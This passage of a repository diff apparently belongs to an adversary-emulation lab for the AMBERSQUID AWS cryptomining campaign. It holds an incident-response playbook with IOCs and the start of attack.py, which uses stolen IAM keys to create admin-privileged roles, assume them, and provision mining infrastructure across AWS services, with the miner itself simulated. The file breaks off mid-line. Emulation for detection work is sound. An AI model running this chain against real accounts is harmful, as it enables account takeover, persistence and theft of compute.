FIRST) + +```bash +TRAIL_NAME="ambersquid-cloudtrail" # substitute your trail name/ARN +REGION="us-east-1" + +# Re-enable logging +aws cloudtrail start-logging --name "$TRAIL_NAME" --region "$REGION" + +# Verify logging is active +aws cloudtrail get-trail-status --name "$TRAIL_NAME" --region "$REGION" \ + --query '{IsLogging:IsLogging, LatestDeliveryTime:LatestDeliveryTime}' +``` + +#### Step 2 — Disable the compromised victim IAM user access key + +```bash +VICTIM_USER="" # from GetCallerIdentity in CloudTrail +REGION="us-east-1" + +# List all keys for the victim user +aws iam list-access-keys --user-name "$VICTIM_USER" \ + --query 'AccessKeyMetadata[*].{KeyId:AccessKeyId,Status:Status,Created:CreateDate}' + +# Disable the compromised key (do NOT delete yet — preserve forensic evidence) +COMPROMISED_KEY_ID="" +aws iam update-access-key \ + --user-name "$VICTIM_USER" \ + --access-key-id "$COMPROMISED_KEY_ID" \ + --status Inactive + +# Verify key is disabled +aws iam list-access-keys --user-name "$VICTIM_USER" \ + --query 'AccessKeyMetadata[*].{KeyId:AccessKeyId,Status:Status}' +``` + +#### Step 3 — Revoke all active STS sessions derived from the victim key + +```bash +# Deny all current sessions for the victim user by attaching an inline deny policy +# This invalidates all STS tokens (codecommit_role_session, sugo_role_session, ecs_exec_role_session) +# even though they were obtained before the key was disabled + +VICTIM_USER="" + +aws iam put-user-policy \ + --user-name "$VICTIM_USER" \ + --policy-name "EmergencyRevokeSessions" \ + --policy-document '{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Deny", + "Action": "*", + "Resource": "*", + "Condition": { + "DateLessThan": { + "aws:TokenIssueTime": "'$(date -u +%Y-%m-%dT%H:%M:%SZ)'" + } + } + }] + }' + +echo "[OK] Session revocation policy applied to $VICTIM_USER" +``` + +#### Step 4 — Stop active ECS tasks running miner containers + +```bash +REGION="us-east-1" + +# Stop tasks in victim cluster +for CLUSTER in ambersquid-ecs-cluster miner-cluster; do + echo "=== Stopping tasks in $CLUSTER ===" + TASKS=$(aws ecs list-tasks --cluster "$CLUSTER" --region "$REGION" \ + --query 'taskArns[]' --output text 2>/dev/null) + + for TASK_ARN in $TASKS; do + echo " Stopping task: $TASK_ARN" + aws ecs stop-task \ + --cluster "$CLUSTER" \ + --task "$TASK_ARN" \ + --reason "INCIDENT-RESPONSE: AMBERSQUID cryptominer containment" \ + --region "$REGION" + done +done +``` + +#### Step 5 — Isolate attacker-created IAM roles (deny all access) + +```bash +# Attach deny-all policy to each attacker role to neutralize live sessions +# (STS tokens from AssumeRole remain valid for their TTL unless permissions are revoked at the role) + +DENY_POLICY='{ + "Version": "2012-10-17", + "Statement": [{ + "Effect": "Deny", + "Action": "*", + "Resource": "*" + }] +}' + +for ROLE in "AWSCodeCommit-Role" "sugo-role" "ecsTaskExecutionRole"; do + echo "=== Isolating role: $ROLE ===" + # Check if role exists first + aws iam get-role --role-name "$ROLE" --query 'Role.RoleName' --output text 2>/dev/null || \ + { echo " Role $ROLE not found — skipping"; continue; } + + aws iam put-role-policy \ + --role-name "$ROLE" \ + --policy-name "EmergencyDenyAll" \ + --policy-document "$DENY_POLICY" + echo " [OK] Deny-all policy applied to $ROLE" +done +``` + +#### Step 6 — Stop SageMaker notebook to halt compute charges + +```bash +REGION="us-east-1" +NOTEBOOK_NAME="miner-notebook" + +# Check notebook state +aws sagemaker describe-notebook-instance \ + --notebook-instance-name "$NOTEBOOK_NAME" \ + --region "$REGION" \ + --query '{Name:NotebookInstanceName, Status:NotebookInstanceStatus, InstanceType:InstanceType}' 2>/dev/null + +# Stop if running or pending +aws sagemaker stop-notebook-instance \ + --notebook-instance-name "$NOTEBOOK_NAME" \ + --region "$REGION" 2>/dev/null && echo "[OK] Stop issued for $NOTEBOOK_NAME" + +# Also check across all regions +REGIONS=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) +for REGION in $REGIONS; do + NOTEBOOKS=$(aws sagemaker list-notebook-instances --region "$REGION" \ + --query 'NotebookInstances[?NotebookInstanceStatus!=`Stopped`].NotebookInstanceName' \ + --output text 2>/dev/null) + for NB in $NOTEBOOKS; do + echo "[!] Stopping notebook $NB in $REGION" + aws sagemaker stop-notebook-instance --notebook-instance-name "$NB" --region "$REGION" + done +done +``` + +#### Step 7 — Delete attacker Amplify and CodeBuild resources + +```bash +REGION="us-east-1" + +# Delete Amplify app named miner-app +MINER_APP_ID=$(aws amplify list-apps --region "$REGION" \ + --query "apps[?name=='miner-app'].appId" --output text 2>/dev/null) + +if [ -n "$MINER_APP_ID" ]; then + aws amplify delete-app --app-id "$MINER_APP_ID" --region "$REGION" + echo "[OK] Deleted Amplify app miner-app ($MINER_APP_ID)" +fi + +# Delete CodeBuild project +aws codebuild delete-project --name "miner-build-small" --region "$REGION" 2>/dev/null && \ + echo "[OK] Deleted CodeBuild project miner-build-small" +``` + +--- + +## 4. Eradication + +### Remove Attacker Access + +#### Remove attacker-created IAM roles + +```bash +# Full cleanup: detach all policies then delete each role + +for ROLE in "AWSCodeCommit-Role" "sugo-role" "ecsTaskExecutionRole"; do + echo "=== Cleaning up role: $ROLE ===" + + # Check existence + aws iam get-role --role-name "$ROLE" --query 'Role.RoleName' --output text 2>/dev/null || \ + { echo " Role not found"; continue; } + + # Remove inline policies first + INLINE_POLICIES=$(aws iam list-role-policies --role-name "$ROLE" \ + --query 'PolicyNames[]' --output text 2>/dev/null) + for POLICY_NAME in $INLINE_POLICIES; do + aws iam delete-role-policy --role-name "$ROLE" --policy-name "$POLICY_NAME" + echo " [OK] Deleted inline policy: $POLICY_NAME" + done + + # Detach managed policies + ATTACHED=$(aws iam list-attached-role-policies --role-name "$ROLE" \ + --query 'AttachedPolicies[*].PolicyArn' --output text 2>/dev/null) + for POLICY_ARN in $ATTACHED; do + aws iam detach-role-policy --role-name "$ROLE" --policy-arn "$POLICY_ARN" + echo " [OK] Detached: $POLICY_ARN" + done + + # Delete the role + aws iam delete-role --role-name "$ROLE" + echo " [OK] Deleted role: $ROLE" +done +``` + +#### Rotate victim user credentials + +```bash +VICTIM_USER="" + +# Delete the compromised key (now safe to delete since key is already Inactive from containment step) +aws iam delete-access-key \ + --user-name "$VICTIM_USER" \ + --access-key-id "$COMPROMISED_KEY_ID" + +# Issue new access key for legitimate owner (or disable entirely if service account) +aws iam create-access-key --user-name "$VICTIM_USER" \ + --query 'AccessKey.{AccessKeyId:AccessKeyId,SecretAccessKey:SecretAccessKey}' + +# Remove emergency session-revocation inline policy once new key is in place +aws iam delete-user-policy \ + --user-name "$VICTIM_USER" \ + --policy-name "EmergencyRevokeSessions" +``` + +#### Delete attacker ECS cluster and task definitions + +```bash +REGION="us-east-1" + +# Deregister all revisions of attacker task definitions +for TD_FAMILY in "miner-task" "miner-fargate-task"; do + TD_ARNS=$(aws ecs list-task-definitions \ + --family-prefix "$TD_FAMILY" \ + --region "$REGION" \ + --query 'taskDefinitionArns[]' --output text 2>/dev/null) + for ARN in $TD_ARNS; do + aws ecs deregister-task-definition --task-definition "$ARN" --region "$REGION" + echo "[OK] Deregistered: $ARN" + done +done + +# Delete attacker-created ECS cluster (confirm no Pulumi-managed resources share this name) +aws ecs delete-cluster --cluster "miner-cluster" --region "$REGION" 2>/dev/null && \ + echo "[OK] Deleted ECS cluster miner-cluster" +``` + +#### Delete attacker CodeCommit repo (us-west-2) + +```bash +# The Pulumi-managed repo in us-east-1 stays; delete the attacker-created one in us-west-2 +aws codecommit delete-repository \ + --repository-name "test" \ + --region "us-west-2" 2>/dev/null && \ + echo "[OK] Deleted CodeCommit repo 'test' in us-west-2" +``` + +#### Delete SageMaker notebook after Stopped state + +```bash +REGION="us-east-1" +NOTEBOOK_NAME="miner-notebook" + +# Wait for Stopped state before deleting +echo "Waiting for $NOTEBOOK_NAME to reach Stopped state..." +aws sagemaker wait notebook-instance-stopped \ + --notebook-instance-name "$NOTEBOOK_NAME" \ + --region "$REGION" 2>/dev/null + +aws sagemaker delete-notebook-instance \ + --notebook-instance-name "$NOTEBOOK_NAME" \ + --region "$REGION" 2>/dev/null && \ + echo "[OK] Deleted SageMaker notebook $NOTEBOOK_NAME" +``` + +#### Audit and remove any Auto Scaling groups named task or task1 + +```bash +REGIONS=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) + +for REGION in $REGIONS; do + for ASG_NAME in "task" "task1"; do + ASG=$(aws autoscaling describe-auto-scaling-groups \ + --auto-scaling-group-names "$ASG_NAME" \ + --region "$REGION" \ + --query 'AutoScalingGroups[0].AutoScalingGroupName' \ + --output text 2>/dev/null) + if [ "$ASG" != "None" ] && [ -n "$ASG" ]; then + echo "[!] Found ASG $ASG_NAME in $REGION — deleting" + aws autoscaling delete-auto-scaling-group \ + --auto-scaling-group-name "$ASG_NAME" \ + --force-delete \ + --region "$REGION" + fi + done +done +``` + +#### Restore deleted CloudTrail log objects (S3 versioning) + +```bash +TRAIL_BUCKET="ambersquid-cloudtrail-logs-" # substitute account ID +PREFIX="AWSLogs//CloudTrail/us-east-1/" + +# List deleted objects (delete markers) in the CloudTrail prefix +aws s3api list-object-versions \ + --bucket "$TRAIL_BUCKET" \ + --prefix "$PREFIX" \ + --query 'DeleteMarkers[*].{Key:Key,VersionId:VersionId}' \ + --output table + +# Restore by removing delete markers — repeat for each key/versionId listed above +# (loop example): +aws s3api list-object-versions \ + --bucket "$TRAIL_BUCKET" \ + --prefix "$PREFIX" \ + --query 'DeleteMarkers[*].[Key,VersionId]' \ + --output text | while IFS=$'\t' read -r KEY VERSION_ID; do + aws s3api delete-object \ + --bucket "$TRAIL_BUCKET" \ + --key "$KEY" \ + --version-id "$VERSION_ID" + echo "[OK] Restored: $KEY" + done +``` + +--- + +## 5. Recovery + +### Restore Clean State + +#### Verify CloudTrail is healthy + +```bash +TRAIL_NAME="ambersquid-cloudtrail" + +aws cloudtrail get-trail-status --name "$TRAIL_NAME" \ + --query '{IsLogging:IsLogging, LatestDeliveryError:LatestDeliveryError, LatestCloudWatchLogsDeliveryError:LatestCloudWatchLogsDeliveryError}' + +# Validate log file integrity for the last 24 hours +aws cloudtrail validate-logs \ + --trail-arn "$(aws cloudtrail describe-trails --query "trailList[?Name=='$TRAIL_NAME'].TrailARN" --output text)" \ + --start-time "$(date -u -d '24 hours ago' +%Y-%m-%dT%H:%M:%SZ)" +``` + +#### Verify no attacker roles remain + +```bash +# Confirm all three attacker roles are gone +for ROLE in "AWSCodeCommit-Role" "sugo-role" "ecsTaskExecutionRole"; do + RESULT=$(aws iam get-role --role-name "$ROLE" 2>&1) + if echo "$RESULT" | grep -q "NoSuchEntity"; then + echo "[OK] Role $ROLE confirmed deleted" + else + echo "[FAIL] Role $ROLE still exists or error: $RESULT" + fi +done +``` + +#### Verify no miner compute is running + +```bash +REGIONS=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) + +echo "=== Checking for residual miner compute ===" +for REGION in $REGIONS; do + # ECS tasks + for CLUSTER in ambersquid-ecs-cluster miner-cluster; do + COUNT=$(aws ecs list-tasks --cluster "$CLUSTER" --region "$REGION" \ + --query 'length(taskArns)' --output text 2>/dev/null) + [ "$COUNT" != "0" ] && [ -n "$COUNT" ] && echo "[!] ECS tasks still running in $CLUSTER / $REGION: $COUNT" + done + + # SageMaker (non-stopped) + aws sagemaker list-notebook-instances --region "$REGION" \ + --status-equals InService \ + --query 'NotebookInstances[*].NotebookInstanceName' \ + --output text 2>/dev/null | grep -E "miner|note" && \ + echo "[!] SageMaker notebook still running in $REGION" +done + +echo "[OK] Miner compute sweep complete" +``` + +#### Verify GuardDuty is enabled in all regions + +```bash +REGIONS=$(aws ec2 describe-regions --query 'Regions[*].RegionName' --output text) + +for REGION in $REGIONS; do + STATUS=$(aws guardduty list-detectors --region "$REGION" \ + --query 'DetectorIds[0]' --output text 2>/dev/null) + if [ -z "$STATUS" ] || [ "$STATUS" == "None" ]; then + echo "[!] GuardDuty NOT enabled in $REGION" + fi +done +``` + +#### Verify Security Hub findings are cleared or tracked + +```bash +# List open critical findings related to this incident +aws securityhub get-findings \ + --filters '{ + "SeverityLabel": [{"Value": "CRITICAL", "Comparison": "EQUALS"}], + "WorkflowStatus": [{"Value": "NEW", "Comparison": "EQUALS"}], + "RecordState": [{"Value": "ACTIVE", "Comparison": "EQUALS"}] + }' \ + --region us-east-1 \ + --query 'Findings[*].{Id:Id,Title:Title,Resource:Resources[0].Id,UpdatedAt:UpdatedAt}' \ + --output table +``` + +#### Issue new legitimate credentials and validate + +```bash +VICTIM_USER="" + +# Confirm new key created and working +NEW_KEY=$(aws iam list-access-keys --user-name "$VICTIM_USER" \ + --query 'AccessKeyMetadata[?Status==`Active`].AccessKeyId' --output text) +echo "[OK] Active key for $VICTIM_USER: $NEW_KEY" + +# Force password reset if console user +aws iam update-login-profile \ + --user-name "$VICTIM_USER" \ + --password-reset-required 2>/dev/null && echo "[OK] Password reset required for $VICTIM_USER" +``` + +--- + +## 6. Lessons Learned + +### Root Cause Analysis + +| Finding | Contributing Control Failure | +|---------|------------------------------| +| IAM user static key leaked via container env var injection | Missing Secrets Manager / IAM Roles for ECS tasks anywhere — long-lived static keys in ECS task definitions violates least-privilege | +| Attacker created role with AdministratorAccess | No SCP blocking `iam:AttachRolePolicy` with AWS-managed admin policies from non-root principals | +| CloudTrail successfully stopped | No SCP or IAM condition blocking `cloudtrail:StopLogging` for non-break-glass roles | +| Multi-service miner deployment (Amplify, CodeBuild, SageMaker) undetected until CloudTrail disabled | No AWS Budgets anomaly alert pre-configured; no EventBridge rule on compute service bursts | + +### Recommended Guardrails + +**Service Control Policies (SCPs) — apply at OU level** + +```json +// SCP 1: Block CloudTrail tampering +{ + "Effect": "Deny", + "Action": [ + "cloudtrail:StopLogging", + "cloudtrail:DeleteTrail", + "cloudtrail:UpdateTrail" + ], + "Resource": "*", + "Condition": { + "StringNotEquals": { + "aws:PrincipalArn": [ + "arn:aws:iam::*:role/BreakGlassAdmin", + "arn:aws:iam::*:role/SecurityResponseRole" + ] + } + } +} + +// SCP 2: Block AdministratorAccess attachment by non-admin principals +{ + "Effect": "Deny", + "Action": "iam:AttachRolePolicy", + "Resource": "*", + "Condition": { + "ArnEquals": { + "iam:PolicyARN": "arn:aws:iam::aws:policy/AdministratorAccess" + } + } +} +``` + +**Prevent long-lived static keys in ECS containers** +- Require ECS tasks to use IAM task roles (`taskRoleArn`) — deny `ecs:RegisterTaskDefinition` where environment variables match `^AWS_ACCESS_KEY_ID$` or `^AWS_SECRET_ACCESS_KEY$` via SCP + +**Least-privilege IAM baseline** +- Victim user should have had `iam:CreateRole` and `iam:AttachRolePolicy` scoped to specific path prefixes only +- SageMaker, Amplify, and CodeBuild creation should be restricted to known CI/CD principals via SCP + +**Detection improvements** +- Add EventBridge rule: `iam:AttachRolePolicy` with `AdministratorAccess` → SNS → PagerDuty (P0) +- Add EventBridge rule: `sagemaker:CreateNotebookInstance` from non-CI principal → SNS (P1) +- Pre-configure AWS Budgets alert: >$50/day anomaly on SageMaker, CodeBuild, ECS, Amplify line items +- Enable GuardDuty ECS Runtime Monitoring — detects miner process launch inside container at data plane level, independent of control plane CloudTrail + +### Known AMBERSQUID IOCs for Threat Intel Feeds + +| Type | Value | +|------|-------| +| Domain | `master.d19tgz4vpyd5.amplifyapp.com` | +| IAM role name | `AWSCodeCommit-Role` | +| IAM role name | `sugo-role` | +| IAM role name | `ecsTaskExecutionRole` (attacker-created with AdministratorAccess) | +| ASG name | `task`, `task1` | +| Tool | SRBMiner-MULTI (UPX-packed) | +| Crypto wallet (ZEPHYR) | `ZEPHYR2vyrpcg2e2sJaA88EM6aGaLCBdiYfiHffrs5b3Fa4p1qpoEPH4UabmhJr5YYF7CxJykLTJmESQWaB9ARNuhb6jvptapVq3v` | +| Crypto wallet (TRX) | `TFrQ7u9spKk8MBgX6Bze3oxPbs3Yh1tAsq` | +| Mining pools | `2miners`, `c3pool`, `nanopool` | +| Mining ports | 3333, 4444, 5555, 7777, 8888, 9999, 14444, 45560 | +| Deployment scripts | `entrypoint.sh`, `amplify-role.sh`, `ecs.sh`, `note.sh`, `scale.sh`, `delete.sh`, `stoptrigger.sh` | \ No newline at end of file diff --git a/emulations/ambersquid/__init__.py b/emulations/ambersquid/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/emulations/ambersquid/attack.py b/emulations/ambersquid/attack.py new file mode 100644 index 0000000..91355ab --- /dev/null +++ b/emulations/ambersquid/attack.py @@ -0,0 +1,1158 @@ +""" +AMBERSQUID -- Automated Post-Exploitation Attack Script +Executes a 13-step, 11-phase attack chain matching the approved attack plan. + +Threat Actor: AMBERSQUID (cryptomining campaign abusing AWS Amplify, SageMaker, +CodeBuild, ECS Fargate, and CodeCommit across 16+ regions) + +Credential chain: + victim_creds -> static IAM key from ECS task env vars (phases 3,4,5,7,9,10,11) + codecommit_role_session -> AssumeRole AWSCodeCommit-Role (phases 5,6,10) + sugo_role_session -> AssumeRole sugo-role (phase 5) + ecs_exec_role_session -> AssumeRole ecsTaskExecutionRole (phases 5,8) +""" + +import sys + +if hasattr(sys.stdout, "reconfigure"): + sys.stdout.reconfigure(encoding="utf-8", errors="replace") +if hasattr(sys.stderr, "reconfigure"): + sys.stderr.reconfigure(encoding="utf-8", errors="replace") + +import json +import os +import time +import random +import boto3 +from botocore.exceptions import ClientError + + +# --------------------------------------------------------------------------- +# Output helpers +# --------------------------------------------------------------------------- + +def print_step(msg): + print(f"\n[*] {msg}") + +def print_ok(msg): + print(f"[+] {msg}") + +def print_err(msg): + print(f"[-] {msg}") + +def print_sim(tag, msg): + print(f" SIMULATED [{tag}]: {msg}") + +def print_doc(tag, msg): + print(f" DOCUMENTED [{tag}]: {msg}") + +def op_delay(min_s=2, max_s=6): + t = random.uniform(min_s, max_s) + time.sleep(t) + +def phase_delay(): + t = random.uniform(5, 15) + print(f"[*] Phase delay {t:.1f}s ...") + time.sleep(t) + + +# --------------------------------------------------------------------------- +# Boto3 session factory +# --------------------------------------------------------------------------- + +def make_session(access_key, secret_key, session_token=None, region="us-east-1"): + return boto3.Session( + aws_access_key_id=access_key, + aws_secret_access_key=secret_key, + aws_session_token=session_token, + region_name=region, + ) + +def assume_role(base_session, role_arn, session_name, duration=3600): + sts = base_session.client("sts") + resp = sts.assume_role( + RoleArn=role_arn, + RoleSessionName=session_name, + DurationSeconds=duration, + ) + creds = resp["Credentials"] + return make_session( + creds["AccessKeyId"], + creds["SecretAccessKey"], + creds["SessionToken"], + ) + + +# --------------------------------------------------------------------------- +# Phase 1 -- Resource Development (Steps 1-2, documented/simulated) +# --------------------------------------------------------------------------- + +def phase_resource_development(): + print("\n" + "="*60) + print("PHASE 1: Resource Development") + print("="*60) + + print_step("Step 1 [T1583.001]: Attacker domain acquisition -- documented only") + print_doc( + "T1583.001", + "Attacker domain master.d19tgz4vpyd5.amplifyapp.com pre-acquired via prior " + "Amplify app creation in separate victim accounts. " + "No action required.", + ) + + print_step("Step 2 [T1608.001]: Malicious Docker image staging -- simulated only") + print_sim( + "T1608.001", + "Would push malicious Docker image containing SRBMiner-MULTI (UPX-packed) " + "with scripts: entrypoint.sh, amplify-role.sh, repo.sh, code.sh, jalan.sh, " + "sup0.sh, ecs.sh, ulang.sh, note.sh, salah.sh, delete.sh, stoptrigger.sh, " + "scale.sh, restart.sh, amplify.yml, index.py, amplify-role.json, sugo.json, " + "ecsTaskExecutionRole.json. " + "Benign ubuntu:22.04 image used as stand-in.", + ) + + +# --------------------------------------------------------------------------- +# Phase 2 -- Initial Execution / Malicious Container (Step 3) +# --------------------------------------------------------------------------- + +def phase_initial_execution(cluster_name, task_family, subnet_id, task_sg_id, region="us-east-1"): + """Launch ECS Fargate task using Pulumi-provisioned task definition.""" + print("\n" + "="*60) + print("PHASE 2: Initial Execution -- Malicious Container") + print("="*60) + print_step("Step 3 [T1204.003]: Launch ECS Fargate task with injected victim creds") + + operator_session = boto3.Session(region_name=region) + ecs = operator_session.client("ecs") + + if not subnet_id or not task_sg_id: + print_err( + "subnet_id / task_sg_id not found in Pulumi outputs -- " + "cannot launch task. Skipping RunTask; continuing with harvested creds." + ) + return None + + try: + resp = ecs.run_task( + cluster=cluster_name, + taskDefinition=task_family, + launchType="FARGATE", + networkConfiguration={ + "awsvpcConfiguration": { + "subnets": [subnet_id], + "securityGroups": [task_sg_id], + "assignPublicIp": "ENABLED", + } + }, + ) + failures = resp.get("failures", []) + if failures: + print_err(f"RunTask failures: {failures}") + return None + + task_arn = resp["tasks"][0]["taskArn"] + print_ok(f"ECS task launched: {task_arn}") + + op_delay(30, 60) + desc = ecs.describe_tasks(cluster=cluster_name, tasks=[task_arn]) + status = desc["tasks"][0].get("lastStatus", "UNKNOWN") + print_ok(f"ECS task status: {status}") + return task_arn + + except ClientError as e: + print_err(f"RunTask error: {e}") + return None + + +# --------------------------------------------------------------------------- +# Phase 3 -- Credential Validation (Step 4) +# --------------------------------------------------------------------------- + +def phase_credential_validation(victim_session): + print("\n" + "="*60) + print("PHASE 3: Credential Validation") + print("="*60) + print_step("Step 4 [T1078.004]: Validate stolen victim credentials via STS + IAM") + + sts = victim_session.client("sts") + iam = victim_session.client("iam") + + identity = {} + try: + identity = sts.get_caller_identity() + print_ok( + f"GetCallerIdentity -> Account: {identity.get('Account')} " + f"Arn: {identity.get('Arn')}" + ) + except ClientError as e: + print_err(f"GetCallerIdentity failed: {e}") + + op_delay(2, 5) + + username = None + try: + user_resp = iam.get_user() + username = user_resp["User"]["UserName"] + print_ok(f"GetUser -> {username}") + except ClientError as e: + print_err(f"GetUser failed (may be role/root): {e}") + + op_delay(2, 5) + + if username: + try: + policies = iam.list_attached_user_policies(UserName=username) + attached = [p["PolicyName"] for p in policies.get("AttachedPolicies", [])] + print_ok(f"ListAttachedUserPolicies -> {attached if attached else '(inline only)'}") + except ClientError as e: + print_err(f"ListAttachedUserPolicies failed: {e}") + + account_id = identity.get("Account", "") + return account_id + + +# --------------------------------------------------------------------------- +# Phase 4 -- Persistence: IAM Role Creation + Session Establishment (Steps 5-6) +# --------------------------------------------------------------------------- + +def phase_persistence_iam(victim_session, account_id): + """Create three attacker IAM roles and AssumeRole into them.""" + print("\n" + "="*60) + print("PHASE 4: Persistence -- IAM Role Creation and Session Establishment") + print("="*60) + + iam = victim_session.client("iam") + + print_step("Step 5 [T1136.003]: Create three attacker IAM roles") + + victim_trust = json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": {"AWS": f"arn:aws:iam::{account_id}:root"}, + "Action": "sts:AssumeRole", + } + ], + }) + + ecs_trust = json.dumps({ + "Version": "2012-10-17", + "Statement": [ + { + "Effect": "Allow", + "Principal": {"Service": "ecs-tasks.amazonaws.com"}, + "Action": "sts:AssumeRole", + }, + { + "Effect": "Allow", + "Principal": {"AWS": f"arn:aws:iam::{account_id}:root"}, + "Action": "sts:AssumeRole", + }, + ], + }) + + roles_to_create = [ + { + "RoleName": "AWSCodeCommit-Role", + "AssumeRolePolicyDocument": victim_trust, + "Description": "CodeCommit service role", + "Policies": [ + "arn:aws:iam::aws:policy/AWSCodeCommitFullAccess", + "arn:aws:iam::aws:policy/CloudWatchFullAccess", + ], + }, + { + "RoleName": "sugo-role", + "AssumeRolePolicyDocument": victim_trust, + "Description": "SageMaker execution role", + "Policies": [ + "arn:aws:iam::aws:policy/AmazonSageMakerFullAccess", + ], + }, + { + "RoleName": "ecsTaskExecutionRole", + "AssumeRolePolicyDocument": ecs_trust, + "Description": "ECS task execution role", + "Policies": [ + "arn:aws:iam::aws:policy/AdministratorAccess", + "arn:aws:iam::aws:policy/AmazonECS_FullAccess", + ], + }, + ] + + created_roles = [] + for role_def in roles_to_create: + role_name = role_def["RoleName"] + try: + iam.create_role( + RoleName=role_name, + AssumeRolePolicyDocument=role_def["AssumeRolePolicyDocument"], + Description=role_def["Description"], + ) + print_ok(f"CreateRole -> {role_name}") + created_roles.append(role_name) + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "EntityAlreadyExists": + print_ok(f"Role {role_name} already exists (prior run) -- continuing") + created_roles.append(role_name) + else: + print_err(f"CreateRole {role_name}: {e}") + continue + + op_delay(2, 4) + + for policy_arn in role_def["Policies"]: + try: + iam.attach_role_policy(RoleName=role_name, PolicyArn=policy_arn) + print_ok(f" AttachRolePolicy {role_name} <- {policy_arn.split('/')[-1]}") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "EntityAlreadyExists": + print_ok(f" Policy already attached: {policy_arn.split('/')[-1]}") + else: + print_err(f" AttachRolePolicy {role_name}: {e}") + op_delay(1, 3) + + print_step("Step 6 [T1098.001]: AssumeRole into all three attacker roles") + + codecommit_session = None + sugo_session = None + ecs_exec_session = None + + for role_name, session_name, target in [ + ("AWSCodeCommit-Role", "codecommit-session", "codecommit"), + ("sugo-role", "sugo-session", "sugo"), + ("ecsTaskExecutionRole","ecs-exec-session", "ecs_exec"), + ]: + role_arn = f"arn:aws:iam::{account_id}:role/{role_name}" + op_delay(2, 5) + try: + sess = assume_role(victim_session, role_arn, session_name) + print_ok(f"AssumeRole -> {role_name} ({session_name})") + if target == "codecommit": + codecommit_session = sess + elif target == "sugo": + sugo_session = sess + else: + ecs_exec_session = sess + except ClientError as e: + print_err(f"AssumeRole {role_name}: {e}") + + return codecommit_session, sugo_session, ecs_exec_session + + +# --------------------------------------------------------------------------- +# Phase 5 -- Execution: Multi-Service Miner Deployment (Step 7) +# --------------------------------------------------------------------------- + +def phase_miner_deployment( + codecommit_session, sugo_session, ecs_exec_session, account_id, ct_repo_name +): + print("\n" + "="*60) + print("PHASE 5: Execution -- Multi-Service Miner Deployment") + print("="*60) + print_step("Step 7 [T1059.009]: Burst-provision miner infra across multiple AWS services") + + cc_repo_url = ( + f"https://git-codecommit.us-east-1.amazonaws.com/v1/repos/{ct_repo_name}" + ) + + if codecommit_session: + cc_west = codecommit_session.client("codecommit", region_name="us-west-2") + op_delay(3, 8) + try: + cc_west.create_repository( + repositoryName=ct_repo_name, + repositoryDescription="Internal build artifacts", + ) + print_ok(f"CreateRepository -> {ct_repo_name} (us-west-2)") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "RepositoryNameExistsException": + print_ok(f"CodeCommit repo '{ct_repo_name}' already exists in us-west-2 -- continuing") + else: + print_err(f"CreateRepository us-west-2: {e}") + + if codecommit_session: + amplify = codecommit_session.client("amplify", region_name="us-east-1") + op_delay(3, 8) + try: + resp = amplify.create_app( + name="miner-app", + repository=cc_repo_url, + iamServiceRoleArn=f"arn:aws:iam::{account_id}:role/AWSCodeCommit-Role", + buildSpec=( + "version: 0.1\n" + "frontend:\n" + " phases:\n" + " build:\n" + " commands:\n" + " - echo mining\n" + ), + ) + app_id = resp["app"]["appId"] + print_ok(f"Amplify CreateApp -> miner-app (appId={app_id})") + except ClientError as e: + code = e.response["Error"]["Code"] + if code in ("LimitExceededException", "BadRequestException"): + print_err(f"Amplify CreateApp: {e} -- continuing") + elif "already exists" in str(e).lower(): + print_ok("Amplify app miner-app already exists -- continuing") + else: + print_err(f"Amplify CreateApp: {e}") + + if codecommit_session: + cb = codecommit_session.client("codebuild", region_name="us-east-1") + op_delay(3, 8) + try: + cb.create_project( + name="miner-build-small", + source={ + "type": "CODECOMMIT", + "location": cc_repo_url, + }, + artifacts={"type": "NO_ARTIFACTS"}, + environment={ + "type": "LINUX_CONTAINER", + "image": "aws/codebuild/standard:6.0", + "computeType": "BUILD_GENERAL1_SMALL", + }, + serviceRole=f"arn:aws:iam::{account_id}:role/AWSCodeCommit-Role", + ) + print_ok("CodeBuild CreateProject -> miner-build-small") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "ResourceAlreadyExistsException": + print_ok("CodeBuild project miner-build-small already exists -- continuing") + else: + print_err(f"CodeBuild CreateProject: {e}") + + if ecs_exec_session: + ecs = ecs_exec_session.client("ecs", region_name="us-east-1") + op_delay(3, 8) + try: + ecs.create_cluster(clusterName="miner-cluster") + print_ok("ECS CreateCluster -> miner-cluster") + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "ClusterAlreadyExistsException" or "already exists" in str(e).lower(): + print_ok("ECS cluster miner-cluster already exists -- continuing") + else: + print_err(f"ECS CreateCluster: {e}") + + op_delay(2, 5) + try: + ecs.register_task_definition( + family="miner-task", + networkMode="awsvpc", + requiresCompatibilities=["FARGATE"], + cpu="256", + memory="512", + containerDefinitions=[ + { + "name": "miner", + "image": "ubuntu:22.04", + "command": [ + "sh", "-c", + "echo SIMULATED_MINER && sleep 10 && exit 0", + ], + "environment": [ + {"name": "WALLET", "value": "SIMULATED"}, + {"name": "POOL", "value": "SIMULATED"}, + ], + } + ], + ) + print_ok("ECS RegisterTaskDefinition -> miner-task") + except ClientError as e: + print_err(f"ECS RegisterTaskDefinition miner-task: {e}") + + if sugo_session: + sm = sugo_session.client("sagemaker", region_name="us-east-1") + op_delay(3, 8) + notebook_created = False + try: + sm.create_notebook_instance( + NotebookInstanceName="miner-notebook", + InstanceType="ml.t3.medium", + RoleArn=f"arn:aws:iam::{account_id}:role/sugo-role", + ) + print_ok("SageMaker CreateNotebookInstance -> miner-notebook (ml.t3.medium)") + notebook_created = True + except ClientError as e: + code = e.response["Error"]["Code"] + if code == "ResourceInUse": + print_ok("SageMaker notebook miner-notebook already exists -- continuing") + notebook_created = True + else: + print_err(f"SageMaker CreateNotebookInstance: {e}") + + if notebook_created: + op_delay(5, 10) + try: + desc = sm.describe_notebook_instance(NotebookInstanceName="miner-notebook") + nb_status = desc.get("NotebookInstanceStatus", "Unknown") + print_ok(f"SageMaker notebook status: {nb_status}") + if nb_status in ("Pending", "InService"): + for _ in range(12): + time.sleep(10) + desc = sm.describe_notebook_instance( + NotebookInstanceName="miner-notebook" + ) + nb_status = 